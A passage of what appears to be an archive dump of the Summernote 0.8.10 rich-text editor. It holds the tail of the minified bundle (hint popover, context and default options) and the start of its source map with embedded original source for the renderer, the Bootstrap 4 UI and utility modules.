o=this;this.context=e,this.ui=t.summernote.ui,this.$editable=e.layoutInfo.editable,this.options=e.options,this.hint=this.options.hint||[],this.direction=this.options.hintDirection||"bottom",this.hints=t.isArray(this.hint)?this.hint:[this.hint],this.events={"summernote.keyup":function(t,e){e.isDefaultPrevented()||o.handleKeyup(e)},"summernote.keydown":function(t,e){o.handleKeydown(e)},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return this.hints.length>0},e.prototype.initialize=function(){var e=this;this.lastWordRange=null,this.$popover=this.ui.popover({className:"note-hint-popover",hideArrow:!0,direction:""}).render().appendTo(this.options.container),this.$popover.hide(),this.$content=this.$popover.find(".popover-content,.note-popover-content"),this.$content.on("click",".note-hint-item",function(){e.$content.find(".active").removeClass("active"),t(e).addClass("active"),e.replace()})},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.selectItem=function(t){this.$content.find(".active").removeClass("active"),t.addClass("active"),this.$content[0].scrollTop=t[0].offsetTop-this.$content.innerHeight()/2},e.prototype.moveDown=function(){var t=this.$content.find(".note-hint-item.active"),e=t.next();if(e.length)this.selectItem(e);else{var o=t.parent().next();o.length||(o=this.$content.find(".note-hint-group").first()),this.selectItem(o.find(".note-hint-item").first())}},e.prototype.moveUp=function(){var t=this.$content.find(".note-hint-item.active"),e=t.prev();if(e.length)this.selectItem(e);else{var o=t.parent().prev();o.length||(o=this.$content.find(".note-hint-group").last()),this.selectItem(o.find(".note-hint-item").last())}},e.prototype.replace=function(){var t=this.$content.find(".note-hint-item.active");if(t.length){var e=this.nodeFromItem(t);this.lastWordRange.insertNode(e),Ht.createFromNode(e).collapse().select(),this.lastWordRange=null,this.hide(),this.context.triggerEvent("change",this.$editable.html(),this.$editable[0]),this.context.invoke("editor.focus")}},e.prototype.nodeFromItem=function(t){var e=this.hints[t.data("index")],o=t.data("item"),n=e.content?e.content(o):o;return"string"==typeof n&&(n=Nt.createText(n)),n},e.prototype.createItemTemplates=function(e,o){var n=this.hints[e];return o.map(function(o,i){var r=t('<div class="note-hint-item"/>');return r.append(n.template?n.template(o):o+""),r.data({index:e,item:o}),r})},e.prototype.handleKeydown=function(t){this.$popover.is(":visible")&&(t.keyCode===At.code.ENTER?(t.preventDefault(),this.replace()):t.keyCode===At.code.UP?(t.preventDefault(),this.moveUp()):t.keyCode===At.code.DOWN&&(t.preventDefault(),this.moveDown()))},e.prototype.searchKeyword=function(t,e,o){var n=this.hints[t];if(n&&n.match.test(e)&&n.search){var i=n.match.exec(e);n.search(i[1],o)}else o()},e.prototype.createGroup=function(e,o){var n=this,i=t('<div class="note-hint-group note-hint-group-'+e+'"/>');return this.searchKeyword(e,o,function(t){(t=t||[]).length&&(i.html(n.createItemTemplates(e,t)),n.show())}),i},e.prototype.handleKeyup=function(t){var e=this;if(!N.contains([At.code.ENTER,At.code.UP,At.code.DOWN],t.keyCode)){var o=this.context.invoke("editor.createRange").getWordRange(),n=o.toString();if(this.hints.length&&n){this.$content.empty();var i=C.rect2bnd(N.last(o.getClientRects()));i&&(this.$popover.hide(),this.lastWordRange=o,this.hints.forEach(function(t,o){t.match.test(n)&&e.createGroup(o,n).appendTo(e.$content)}),this.$content.find(".note-hint-item:first").addClass("active"),"top"===this.direction?this.$popover.css({left:i.left,top:i.top-this.$popover.outerHeight()-5}):this.$popover.css({left:i.left,top:i.top+i.height+5}))}else this.hide()}},e.prototype.show=function(){this.$popover.show()},e.prototype.hide=function(){this.$popover.hide()},e}(),de=function(){function e(e,o){this.ui=t.summernote.ui,this.$note=e,this.memos={},this.modules={},this.layoutInfo={},this.options=o,this.initialize()}return e.prototype.initialize=function(){return this.layoutInfo=this.ui.createLayout(this.$note,this.options),this._initialize(),this.$note.hide(),this},e.prototype.destroy=function(){this._destroy(),this.$note.removeData("summernote"),this.ui.removeLayout(this.$note,this.layoutInfo)},e.prototype.reset=function(){var t=this.isDisabled();this.code(Nt.emptyPara),this._destroy(),this._initialize(),t&&this.disable()},e.prototype._initialize=function(){var e=this,o=t.extend({},this.options.buttons);Object.keys(o).forEach(function(t){e.memo("button."+t,o[t])});var n=t.extend({},this.options.modules,t.summernote.plugins||{});Object.keys(n).forEach(function(t){e.module(t,n[t],!0)}),Object.keys(this.modules).forEach(function(t){e.initializeModule(t)})},e.prototype._destroy=function(){var t=this;Object.keys(this.modules).reverse().forEach(function(e){t.removeModule(e)}),Object.keys(this.memos).forEach(function(e){t.removeMemo(e)}),this.triggerEvent("destroy",this)},e.prototype.code=function(t){var e=this.invoke("codeview.isActivated");if(void 0===t)return this.invoke("codeview.sync"),e?this.layoutInfo.codable.val():this.layoutInfo.editable.html();e?this.layoutInfo.codable.val(t):this.layoutInfo.editable.html(t),this.$note.val(t),this.triggerEvent("change",t)},e.prototype.isDisabled=function(){return"false"===this.layoutInfo.editable.attr("contenteditable")},e.prototype.enable=function(){this.layoutInfo.editable.attr("contenteditable",!0),this.invoke("toolbar.activate",!0),this.triggerEvent("disable",!1)},e.prototype.disable=function(){this.invoke("codeview.isActivated")&&this.invoke("codeview.deactivate"),this.layoutInfo.editable.attr("contenteditable",!1),this.invoke("toolbar.deactivate",!0),this.triggerEvent("disable",!0)},e.prototype.triggerEvent=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=this.options.callbacks[C.namespaceToCamel(t,"on")];o&&o.apply(this.$note[0],e),this.$note.trigger("summernote."+t,e)},e.prototype.initializeModule=function(t){var e=this.modules[t];e.shouldInitialize=e.shouldInitialize||C.ok,e.shouldInitialize()&&(e.initialize&&e.initialize(),e.events&&Nt.attachEvents(this.$note,e.events))},e.prototype.module=function(t,e,o){if(1===arguments.length)return this.modules[t];this.modules[t]=new e(this),o||this.initializeModule(t)},e.prototype.removeModule=function(t){var e=this.modules[t];e.shouldInitialize()&&(e.events&&Nt.detachEvents(this.$note,e.events),e.destroy&&e.destroy()),delete this.modules[t]},e.prototype.memo=function(t,e){if(1===arguments.length)return this.memos[t];this.memos[t]=e},e.prototype.removeMemo=function(t){this.memos[t]&&this.memos[t].destroy&&this.memos[t].destroy(),delete this.memos[t]},e.prototype.createInvokeHandlerAndUpdateState=function(t,e){var o=this;return function(n){o.createInvokeHandler(t,e)(n),o.invoke("buttons.updateCurrentStyle")}},e.prototype.createInvokeHandler=function(e,o){var n=this;return function(i){i.preventDefault();var r=t(i.target);n.invoke(e,o||r.closest("[data-value]").data("value"),r)}},e.prototype.invoke=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=t.split("."),n=o.length>1,i=n&&N.head(o),r=n?N.last(o):N.head(o),s=this.modules[i||"editor"];return!i&&this[r]?this[r].apply(this,e):s&&s[r]&&s.shouldInitialize()?s[r].apply(s,e):void 0},e}();t.fn.extend({summernote:function(){var e=t.type(N.head(arguments)),o="string"===e,n="object"===e,i=t.extend({},t.summernote.options,n?N.head(arguments):{});i.langInfo=t.extend(!0,{},t.summernote.lang["en-US"],t.summernote.lang[i.lang]),i.icons=t.extend(!0,{},t.summernote.options.icons,i.icons),i.tooltip="auto"===i.tooltip?!z.isSupportTouch:i.tooltip,this.each(function(e,o){var n=t(o);if(!n.data("summernote")){var r=new de(n,i);n.data("summernote",r),n.data("summernote").triggerEvent("init",r.layoutInfo)}});var r=this.first();if(r.length){var s=r.data("summernote");if(o)return s.invoke.apply(s,N.from(arguments));i.focus&&s.invoke("editor.focus")}return this}}),t.summernote=t.extend(t.summernote,{version:"0.8.10",ui:y,dom:Nt,plugins:{},options:{modules:{editor:jt,clipboard:qt,dropzone:Kt,codeview:Vt,statusbar:Wt,fullscreen:Gt,handle:_t,hintPopover:ce,autoLink:Yt,autoSync:Qt,placeholder:Jt,buttons:Xt,toolbar:te,linkDialog:ee,linkPopover:oe,imageDialog:ne,imagePopover:ie,tablePopover:re,videoDialog:se,helpDialog:ae,airPopover:le},buttons:{},lang:"en-US",followingToolbar:!0,otherStaticBar:"",toolbar:[["style",["style"]],["font",["bold","underline","clear"]],["fontname",["fontname"]],["color",["color"]],["para",["ul","ol","paragraph"]],["table",["table"]],["insert",["link","picture","video"]],["view",["fullscreen","codeview","help"]]],popatmouse:!0,popover:{image:[["imagesize",["imageSize100","imageSize50","imageSize25"]],["float",["floatLeft","floatRight","floatNone"]],["remove",["removeMedia"]]],link:[["link",["linkDialogShow","unlink"]]],table:[["add",["addRowDown","addRowUp","addColLeft","addColRight"]],["delete",["deleteRow","deleteCol","deleteTable"]]],air:[["color",["color"]],["font",["bold","underline","clear"]],["para",["ul","paragraph"]],["table",["table"]],["insert",["link","picture"]]]},airMode:!1,width:null,height:null,linkTargetBlank:!0,focus:!1,tabSize:4,styleWithSpan:!0,shortcuts:!0,textareaAutoSync:!0,hintDirection:"bottom",tooltip:"auto",container:"body",maxTextLength:0,styleTags:["p","blockquote","pre","h1","h2","h3","h4","h5","h6"],fontNames:["Arial","Arial Black","Comic Sans MS","Courier New","Helvetica Neue","Helvetica","Impact","Lucida Grande","Tahoma","Times New Roman","Verdana"],fontSizes:["8","9","10","11","12","14","18","24","36"],colors:[["#000000","#424242","#636363","#9C9C94","#CEC6CE","#EFEFEF","#F7F7F7","#FFFFFF"],["#FF0000","#FF9C00","#FFFF00","#00FF00","#00FFFF","#0000FF","#9C00FF","#FF00FF"],["#F7C6CE","#FFE7CE","#FFEFC6","#D6EFD6","#CEDEE7","#CEE7F7","#D6D6E7","#E7D6DE"],["#E79C9C","#FFC69C","#FFE79C","#B5D6A5","#A5C6CE","#9CC6EF","#B5A5D6","#D6A5BD"],["#E76363","#F7AD6B","#FFD663","#94BD7B","#73A5AD","#6BADDE","#8C7BC6","#C67BA5"],["#CE0000","#E79439","#EFC631","#6BA54A","#4A7B8C","#3984C6","#634AA5","#A54A7B"],["#9C0000","#B56308","#BD9400","#397B21","#104A5A","#085294","#311873","#731842"],["#630000","#7B3900","#846300","#295218","#083139","#003163","#21104A","#4A1031"]],colorsName:[["Black","Tundora","Dove Gray","Star Dust","Pale Slate","Gallery","Alabaster","White"],["Red","Orange Peel","Yellow","Green","Cyan","Blue","Electric Violet","Magenta"],["Azalea","Karry","Egg White","Zanah","Botticelli","Tropical Blue","Mischka","Twilight"],["Tonys Pink","Peach Orange","Cream Brulee","Sprout","Casper","Perano","Cold Purple","Careys Pink"],["Mandy","Rajah","Dandelion","Olivine","Gulf Stream","Viking","Blue Marguerite","Puce"],["Guardsman Red","Fire Bush","Golden Dream","Chelsea Cucumber","Smalt Blue","Boston Blue","Butterfly Bush","Cadillac"],["Sangria","Mai Tai","Buddha Gold","Forest Green","Eden","Venice Blue","Meteorite","Claret"],["Rosewood","Cinnamon","Olive","Parsley","Tiber","Midnight Blue","Valentino","Loulou"]],lineHeights:["1.0","1.2","1.4","1.5","1.6","1.8","2.0","3.0"],tableClassName:"table table-bordered",insertTableMaxSize:{col:10,row:10},dialogsInBody:!1,dialogsFade:!1,maximumImageFileSize:null,callbacks:{onInit:null,onFocus:null,onBlur:null,onBlurCodeview:null,onEnter:null,onKeyup:null,onKeydown:null,onImageUpload:null,onImageUploadError:null},codemirror:{mode:"text/html",htmlMode:!0,lineNumbers:!0},keyMap:{pc:{ENTER:"insertParagraph","CTRL+Z":"undo","CTRL+Y":"redo",TAB:"tab","SHIFT+TAB":"untab","CTRL+B":"bold","CTRL+I":"italic","CTRL+U":"underline","CTRL+SHIFT+S":"strikethrough","CTRL+BACKSLASH":"removeFormat","CTRL+SHIFT+L":"justifyLeft","CTRL+SHIFT+E":"justifyCenter","CTRL+SHIFT+R":"justifyRight","CTRL+SHIFT+J":"justifyFull","CTRL+SHIFT+NUM7":"insertUnorderedList","CTRL+SHIFT+NUM8":"insertOrderedList","CTRL+LEFTBRACKET":"outdent","CTRL+RIGHTBRACKET":"indent","CTRL+NUM0":"formatPara","CTRL+NUM1":"formatH1","CTRL+NUM2":"formatH2","CTRL+NUM3":"formatH3","CTRL+NUM4":"formatH4","CTRL+NUM5":"formatH5","CTRL+NUM6":"formatH6","CTRL+ENTER":"insertHorizontalRule","CTRL+K":"linkDialog.show"},mac:{ENTER:"insertParagraph","CMD+Z":"undo","CMD+SHIFT+Z":"redo",TAB:"tab","SHIFT+TAB":"untab","CMD+B":"bold","CMD+I":"italic","CMD+U":"underline","CMD+SHIFT+S":"strikethrough","CMD+BACKSLASH":"removeFormat","CMD+SHIFT+L":"justifyLeft","CMD+SHIFT+E":"justifyCenter","CMD+SHIFT+R":"justifyRight","CMD+SHIFT+J":"justifyFull","CMD+SHIFT+NUM7":"insertUnorderedList","CMD+SHIFT+NUM8":"insertOrderedList","CMD+LEFTBRACKET":"outdent","CMD+RIGHTBRACKET":"indent","CMD+NUM0":"formatPara","CMD+NUM1":"formatH1","CMD+NUM2":"formatH2","CMD+NUM3":"formatH3","CMD+NUM4":"formatH4","CMD+NUM5":"formatH5","CMD+NUM6":"formatH6","CMD+ENTER":"insertHorizontalRule","CMD+K":"linkDialog.show"}},icons:{align:"note-icon-align",alignCenter:"note-icon-align-center",alignJustify:"note-icon-align-justify",alignLeft:"note-icon-align-left",alignRight:"note-icon-align-right",rowBelow:"note-icon-row-below",colBefore:"note-icon-col-before",colAfter:"note-icon-col-after",rowAbove:"note-icon-row-above",rowRemove:"note-icon-row-remove",colRemove:"note-icon-col-remove",indent:"note-icon-align-indent",outdent:"note-icon-align-outdent",arrowsAlt:"note-icon-arrows-alt",bold:"note-icon-bold",caret:"note-icon-caret",circle:"note-icon-circle",close:"note-icon-close",code:"note-icon-code",eraser:"note-icon-eraser",font:"note-icon-font",frame:"note-icon-frame",italic:"note-icon-italic",link:"note-icon-link",unlink:"note-icon-chain-broken",magic:"note-icon-magic",menuCheck:"note-icon-menu-check",minus:"note-icon-minus",orderedlist:"note-icon-orderedlist",pencil:"note-icon-pencil",picture:"note-icon-picture",question:"note-icon-question",redo:"note-icon-redo",square:"note-icon-square",strikethrough:"note-icon-strikethrough",subscript:"note-icon-subscript",superscript:"note-icon-superscript",table:"note-icon-table",textHeight:"note-icon-text-height",trash:"note-icon-trash",underline:"note-icon-underline",undo:"note-icon-undo",unorderedlist:"note-icon-unorderedlist",video:"note-icon-video"}}})});summernote-bs4.js.map000064400001550323151677331550010570 0ustar00{"version":3,"file":"summernote-bs4.js","sources":["../src/js/base/renderer.js","../src/js/bs4/ui.js","../src/js/base/core/func.js","../src/js/base/core/lists.js","../src/js/base/core/env.js","../src/js/base/core/dom.js","../src/js/base/summernote-en-US.js","../src/js/base/core/key.js","../src/js/base/core/range.js","../src/js/base/core/async.js","../src/js/base/editing/History.js","../src/js/base/editing/Style.js","../src/js/base/editing/Bullet.js","../src/js/base/editing/Typing.js","../src/js/base/editing/Table.js","../src/js/base/module/Editor.js","../src/js/base/module/Clipboard.js","../src/js/base/module/Dropzone.js","../src/js/base/module/Codeview.js","../src/js/base/module/Statusbar.js","../src/js/base/module/Fullscreen.js","../src/js/base/module/Handle.js","../src/js/base/module/AutoLink.js","../src/js/base/module/AutoSync.js","../src/js/base/module/Placeholder.js","../src/js/base/module/Buttons.js","../src/js/base/module/Toolbar.js","../src/js/base/module/LinkDialog.js","../src/js/base/module/LinkPopover.js","../src/js/base/module/ImageDialog.js","../src/js/base/module/ImagePopover.js","../src/js/base/module/TablePopover.js","../src/js/base/module/VideoDialog.js","../src/js/base/module/HelpDialog.js","../src/js/base/module/AirPopover.js","../src/js/base/module/HintPopover.js","../src/js/base/Context.js","../src/js/summernote.js","../src/js/bs4/settings.js"],"sourcesContent":["import $ from 'jquery';\n\nclass Renderer {\n constructor(markup, children, options, callback) {\n this.markup = markup;\n this.children = children;\n this.options = options;\n this.callback = callback;\n }\n\n render($parent) {\n const $node = $(this.markup);\n\n if (this.options && this.options.contents) {\n $node.html(this.options.contents);\n }\n\n if (this.options && this.options.className) {\n $node.addClass(this.options.className);\n }\n\n if (this.options && this.options.data) {\n $.each(this.options.data, (k, v) => {\n $node.attr('data-' + k, v);\n });\n }\n\n if (this.options && this.options.click) {\n $node.on('click', this.options.click);\n }\n\n if (this.children) {\n const $container = $node.find('.note-children-container');\n this.children.forEach((child) => {\n child.render($container.length ? $container : $node);\n });\n }\n\n if (this.callback) {\n this.callback($node, this.options);\n }\n\n if (this.options && this.options.callback) {\n this.options.callback($node);\n }\n\n if ($parent) {\n $parent.append($node);\n }\n\n return $node;\n }\n}\n\nexport default {\n create: (markup, callback) => {\n return () => {\n const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n let children = $.isArray(arguments[0]) ? arguments[0] : [];\n if (options && options.children) {\n children = options.children;\n }\n return new Renderer(markup, children, options, callback);\n };\n }\n};\n","import $ from 'jquery';\nimport renderer from '../base/renderer';\n\nconst editor = renderer.create('<div class=\"note-editor note-frame card\"/>');\nconst toolbar = renderer.create('<div class=\"note-toolbar-wrapper\"><div class=\"note-toolbar card-header\" role=\"toolbar\"></div></div>');\nconst editingArea = renderer.create('<div class=\"note-editing-area\"/>');\nconst codable = renderer.create('<textarea class=\"note-codable\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst editable = renderer.create('<div class=\"note-editable card-block\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst statusbar = renderer.create([\n '<output class=\"note-status-output\" aria-live=\"polite\"/>',\n '<div class=\"note-statusbar\" role=\"status\">',\n ' <output class=\"note-status-output\" aria-live=\"polite\"></output>',\n ' <div class=\"note-resizebar\" role=\"seperator\" aria-orientation=\"horizontal\" aria-label=\"Resize\">',\n ' <div class=\"note-icon-bar\"/>',\n ' <div class=\"note-icon-bar\"/>',\n ' <div class=\"note-icon-bar\"/>',\n ' </div>',\n '</div>'\n].join(''));\n\nconst airEditor = renderer.create('<div class=\"note-editor\"/>');\nconst airEditable = renderer.create([\n '<output class=\"note-status-output\" aria-live=\"polite\"/>',\n '<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>'\n].join(''));\n\nconst buttonGroup = renderer.create('<div class=\"note-btn-group btn-group\">');\n\nconst dropdown = renderer.create('<div class=\"dropdown-menu\" role=\"list\">', function($node, options) {\n const markup = $.isArray(options.items) ? options.items.map(function(item) {\n const value = (typeof item === 'string') ? item : (item.value || '');\n const content = options.template ? options.template(item) : item;\n const option = (typeof item === 'object') ? item.option : undefined;\n\n const dataValue = 'data-value=\"' + value + '\"';\n const dataOption = (option !== undefined) ? ' data-option=\"' + option + '\"' : '';\n return '<a class=\"dropdown-item\" href=\"#\" ' + (dataValue + dataOption) + ' role=\"listitem\" aria-label=\"' + item + '\">' + content + '</a>';\n }).join('') : options.items;\n\n $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst dropdownButtonContents = function(contents) {\n return contents;\n};\n\nconst dropdownCheck = renderer.create('<div class=\"dropdown-menu note-check\" role=\"list\">', function($node, options) {\n const markup = $.isArray(options.items) ? options.items.map(function(item) {\n const value = (typeof item === 'string') ? item : (item.value || '');\n const content = options.template ? options.template(item) : item;\n return '<a class=\"dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\">' + icon(options.checkClassName) + ' ' + content + '</a>';\n }).join('') : options.items;\n $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst palette = renderer.create('<div class=\"note-color-palette\"/>', function($node, options) {\n const contents = [];\n for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {\n const eventName = options.eventName;\n const colors = options.colors[row];\n const colorsName = options.colorsName[row];\n const buttons = [];\n for (let col = 0, colSize = colors.length; col < colSize; col++) {\n const color = colors[col];\n const colorName = colorsName[col];\n buttons.push([\n '<button type=\"button\" class=\"note-color-btn\"',\n 'style=\"background-color:', color, '\" ',\n 'data-event=\"', eventName, '\" ',\n 'data-value=\"', color, '\" ',\n 'title=\"', colorName, '\" ',\n 'aria-label=\"', colorName, '\" ',\n 'data-toggle=\"button\" tabindex=\"-1\"></button>'\n ].join(''));\n }\n contents.push('<div class=\"note-color-row\">' + buttons.join('') + '</div>');\n }\n $node.html(contents.join(''));\n\n if (options.tooltip) {\n $node.find('.note-color-btn').tooltip({\n container: options.container,\n trigger: 'hover',\n placement: 'bottom'\n });\n }\n});\n\nconst dialog = renderer.create('<div class=\"modal\" aria-hidden=\"false\" tabindex=\"-1\" role=\"dialog\"/>', function($node, options) {\n if (options.fade) {\n $node.addClass('fade');\n }\n $node.attr({\n 'aria-label': options.title\n });\n $node.html([\n '<div class=\"modal-dialog\">',\n ' <div class=\"modal-content\">',\n (options.title\n ? ' <div class=\"modal-header\">' +\n ' <h4 class=\"modal-title\">' + options.title + '</h4>' +\n ' <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\" aria-hidden=\"true\">×</button>' +\n ' </div>' : ''\n ),\n ' <div class=\"modal-body\">' + options.body + '</div>',\n (options.footer\n ? ' <div class=\"modal-footer\">' + options.footer + '</div>' : ''\n ),\n ' </div>',\n '</div>'\n ].join(''));\n});\n\nconst popover = renderer.create([\n '<div class=\"note-popover popover in\">',\n ' <div class=\"arrow\"/>',\n ' <div class=\"popover-content note-children-container\"/>',\n '</div>'\n].join(''), function($node, options) {\n const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';\n\n $node.addClass(direction);\n\n if (options.hideArrow) {\n $node.find('.arrow').hide();\n }\n});\n\nconst checkbox = renderer.create('<label class=\"custom-control custom-checkbox\"></label>', function($node, options) {\n if (options.id) {\n $node.attr('for', options.id);\n }\n $node.html([\n ' <input role=\"checkbox\" type=\"checkbox\" class=\"custom-control-input\"' + (options.id ? ' id=\"' + options.id + '\"' : ''),\n (options.checked ? ' checked' : ''),\n ' aria-checked=\"' + (options.checked ? 'true' : 'false') + '\"/>',\n ' <span class=\"custom-control-indicator\"></span>',\n ' <span class=\"custom-control-description\">' + (options.text ? options.text : '') + '</span>',\n '</label>'\n ].join(''));\n});\n\nconst icon = function(iconClassName, tagName) {\n tagName = tagName || 'i';\n return '<' + tagName + ' class=\"' + iconClassName + '\"/>';\n};\n\nconst ui = {\n editor: editor,\n toolbar: toolbar,\n editingArea: editingArea,\n codable: codable,\n editable: editable,\n statusbar: statusbar,\n airEditor: airEditor,\n airEditable: airEditable,\n buttonGroup: buttonGroup,\n dropdown: dropdown,\n dropdownButtonContents: dropdownButtonContents,\n dropdownCheck: dropdownCheck,\n palette: palette,\n dialog: dialog,\n popover: popover,\n icon: icon,\n checkbox: checkbox,\n options: {},\n\n button: function($node, options) {\n return renderer.create('<button type=\"button\" class=\"note-btn btn btn-light btn-sm\" role=\"button\" tabindex=\"-1\">', function($node, options) {\n if (options && options.tooltip) {\n $node.attr({\n title: options.tooltip,\n 'aria-label': options.tooltip\n }).tooltip({\n container: options.container,\n trigger: 'hover',\n placement: 'bottom'\n });\n }\n })($node, options);\n },\n\n toggleBtn: function($btn, isEnable) {\n $btn.toggleClass('disabled', !isEnable);\n $btn.attr('disabled', !isEnable);\n },\n\n toggleBtnActive: function($btn, isActive) {\n $btn.toggleClass('active', isActive);\n },\n\n onDialogShown: function($dialog, handler) {\n $dialog.one('shown.bs.modal', handler);\n },\n\n onDialogHidden: function($dialog, handler) {\n $dialog.one('hidden.bs.modal', handler);\n },\n\n showDialog: function($dialog) {\n $dialog.modal('show');\n },\n\n hideDialog: function($dialog) {\n $dialog.modal('hide');\n },\n\n createLayout: function($note, options) {\n const $editor = (options.airMode ? ui.airEditor([\n ui.editingArea([\n ui.airEditable()\n ])\n ]) : ui.editor([\n ui.toolbar(),\n ui.editingArea([\n ui.codable(),\n ui.editable()\n ]),\n ui.statusbar()\n ])).render();\n\n $editor.insertAfter($note);\n\n return {\n note: $note,\n editor: $editor,\n toolbar: $editor.find('.note-toolbar'),\n editingArea: $editor.find('.note-editing-area'),\n editable: $editor.find('.note-editable'),\n codable: $editor.find('.note-codable'),\n statusbar: $editor.find('.note-statusbar')\n };\n },\n\n removeLayout: function($note, layoutInfo) {\n $note.html(layoutInfo.editable.html());\n layoutInfo.editor.remove();\n $note.show();\n }\n};\n\nexport default ui;\n","/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n return function(itemB) {\n return itemA === itemB;\n };\n}\n\nfunction eq2(itemA, itemB) {\n return itemA === itemB;\n}\n\nfunction peq2(propName) {\n return function(itemA, itemB) {\n return itemA[propName] === itemB[propName];\n };\n}\n\nfunction ok() {\n return true;\n}\n\nfunction fail() {\n return false;\n}\n\nfunction not(f) {\n return () => {\n return !f.apply(f, arguments);\n };\n}\n\nfunction and(fA, fB) {\n return function(item) {\n return fA(item) && fB(item);\n };\n}\n\nfunction self(a) {\n return a;\n}\n\nfunction invoke(obj, method) {\n return () => {\n return obj[method].apply(obj, arguments);\n };\n}\n\nlet idCounter = 0;\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n const id = ++idCounter + '';\n return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n const $document = $(document);\n return {\n top: rect.top + $document.scrollTop(),\n left: rect.left + $document.scrollLeft(),\n width: rect.right - rect.left,\n height: rect.bottom - rect.top\n };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n const inverted = {};\n for (const key in obj) {\n if (obj.hasOwnProperty(key)) {\n inverted[obj[key]] = key;\n }\n }\n return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n prefix = prefix || '';\n return prefix + namespace.split('.').map(function(name) {\n return name.substring(0, 1).toUpperCase() + name.substring(1);\n }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n let timeout;\n return () => {\n const context = this;\n const args = arguments;\n const later = () => {\n timeout = null;\n if (!immediate) {\n func.apply(context, args);\n }\n };\n const callNow = immediate && !timeout;\n clearTimeout(timeout);\n timeout = setTimeout(later, wait);\n if (callNow) {\n func.apply(context, args);\n }\n };\n}\n\nexport default {\n eq,\n eq2,\n peq2,\n ok,\n fail,\n self,\n not,\n and,\n invoke,\n uniqueId,\n rect2bnd,\n invertObject,\n namespaceToCamel,\n debounce\n};\n","import $ from 'jquery';\nimport func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n const item = array[idx];\n if (pred(item)) {\n return item;\n }\n }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!pred(array[idx])) {\n return false;\n }\n }\n return true;\n}\n\n/**\n * returns index of item\n */\nfunction indexOf(array, item) {\n return $.inArray(item, array);\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n return indexOf(array, item) !== -1;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n fn = fn || func.self;\n return array.reduce(function(memo, v) {\n return memo + fn(v);\n }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n const result = [];\n const length = collection.length;\n let idx = -1;\n while (++idx < length) {\n result[idx] = collection[idx];\n }\n return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n if (!array.length) { return []; }\n const aTail = tail(array);\n return aTail.reduce(function(memo, v) {\n const aLast = last(memo);\n if (fn(last(aLast), v)) {\n aLast[aLast.length] = v;\n } else {\n memo[memo.length] = [v];\n }\n return memo;\n }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n const aResult = [];\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (array[idx]) { aResult.push(array[idx]); }\n }\n return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n const results = [];\n\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!contains(results, array[idx])) {\n results.push(array[idx]);\n }\n }\n\n return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n const idx = indexOf(array, item);\n if (idx === -1) { return null; }\n\n return array[idx + 1];\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n const idx = 